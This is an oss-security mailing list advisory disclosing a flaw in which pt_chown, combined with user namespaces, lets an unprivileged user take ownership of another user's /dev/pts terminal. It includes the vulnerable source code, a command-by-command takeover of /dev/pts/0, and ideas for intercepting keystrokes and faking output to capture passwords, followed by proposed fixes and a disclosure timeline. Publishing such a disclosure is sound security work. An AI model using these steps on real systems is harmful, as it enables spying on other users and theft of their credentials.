Date: Tue, 23 Feb 2016 12:03:54 +0000 From: halfdog <me@...fdog.net> To: oss-security@...ts.openwall.com Subject: Access to /dev/pts devices via pt_chown and user namespaces -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sending content from  also to oss-security as requested last time: Problem description: ==================== With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change ownership of slave pts devices in /dev/pts to the same uid holding the master file descriptor for the slave. This is done using the pt_chown SUID binary, which invokes the ptsname function on the master-fd, thus again performing a TIOCGPTN ioctl to get the slave pts number. Using the result from the ioctl, the pathname of the slave pts is constructed and chown invoked on it, see login/programs/pt_chown.c: pty = ptsname (PTY_FILENO); if (pty == NULL) ... /* Get the group ID of the special `tty' group. */ p = getgrnam (TTY_GROUP); gid = p ? p->gr_gid : getgid (); /* Set the owner to the real user ID, and the group to that special group ID. */ if (chown (pty, getuid (), gid) < 0) return FAIL_EACCES; /* Set the permission mode to readable and writable by the owner, and writable by the group. */ if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP) && chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0) return FAIL_EACCES; return 0; The logic above is severely flawed, when there can be more than one master/slave pair having the same number and thus same name. But this condition can be easily created by creating an user namespace, mounting devpts with the newinstance option, create master and slave pts pairs until the number overlaps with a target pts outside the namespace on the host, where there is interest to gain ownership and then invoke pt_chown. Methods: ======== Exploitation is trivial: At first use any user namespace demo to create the namespace needed, e.g. UserNamespaceExec.c and work with standard shell commands, e.g. to take over /dev/pts/0: test# who am I test pts/1 2015-12-27 12:00 test# ./UserNamespacesExec -- /bin/bash Setting uid map in /proc/5783/uid_map Setting gid map in /proc/5783/gid_map euid: 0, egid: 0 euid: 0, egid: 0 root# mkdir mnt root# mount -t devpts -o newinstance /dev/pts mnt root# cd mnt root# chmod 0666 ptmx Use a second shell to continue: test# cd /proc/5783/cwd test# ls -al total 4 drwxr-xr-x 2 root root 0 Dec 27 12:48 . drwxr-xr-x 7 test users 4096 Dec 27 11:57 .. c--------- 1 test users 5, 2 Dec 27 12:48 ptmx test# exec 3<>ptmx test# ls -al total 4 drwxr-xr-x 2 root root 0 Dec 27 12:48 . drwxr-xr-x 7 test users 4096 Dec 27 11:57 .. crw------- 1 test users 136, 0 Dec 27 12:53 0 crw-rw-rw- 1 test users 5, 2 Dec 27 12:48 ptmx test# ls -al /dev/pts/0 crw--w---- 1 root tty 136, 1 Dec 27 2015 /dev/pts/0 test# /usr/lib/pt_chown test# ls -al /dev/pts/0 crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0 On systems where the TIOCSTI-ioctl is not prohibited, the tools from TtyPushbackPrivilegeEscalation to directly inject code into a shell using the pts device. This is not the case at least on Ubuntu Wily. But as reading and writing to the pts is allowed, the malicious user can not intercept all keystrokes and display faked output from commands never really executed. Thus he could lure the user into a) change his password or attempt to invoke su/sudo or b) simulate a situation, where user's next step is predictable and risky and then stop reading the pts, thus making user to execute a command in completely unexpected way. Results, Discussion: ==================== As already mentioned in , exposure of essential OS functionality, previously just invoked by really privileged processes, to now unprivileged users via user namespaces greatly increases the attack surface and thus is a very interesting target for exploit development. In my opinion, this security bug should be fixed two-fold: At first, kernel should prevent the TIOCGPTN ioctl when invoked called by a process within one namespace but acting on a filedescriptor from a devpts instance mounted in a different namespace. Additionally pt_chown should check via readlink and stat, that the passed file descriptor really was from the /dev/ptmx or /dev/pts/ptmx device present in the same namespace as the /dev/pts/[num] device is residing. This of course is only relevant if pt_chown is going to survive on recent namespace aware systems. Timeline: ========= 20151220: Discovery 20151227: Report at Ubuntu Launchpad1529486 20160104: Report to distros list 20160122: Patch to disable unprivileged userns due to this and other issues LKML 20160222: CRD and publication References: ===========  http://www.halfdog.net/Security/2015/PtChownArbitraryPtsAccessViaUserNamespace/  http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/ hd - -- http://www.halfdog.net/ PGP: 156A AE98 B91F 0114 FE88 2BD8 C459 9386 feed a bee -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlbMSpgACgkQxFmThv7tq+53VgCdEHpGBl00dQi23z1jEz+wG+dk lK4AniINDh7dx9Oe6NXn5KiaFBGstw5O =scxD -----END PGP SIGNATURE-----
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Powered by Openwall GNU/*/Linux - Powered by OpenVZ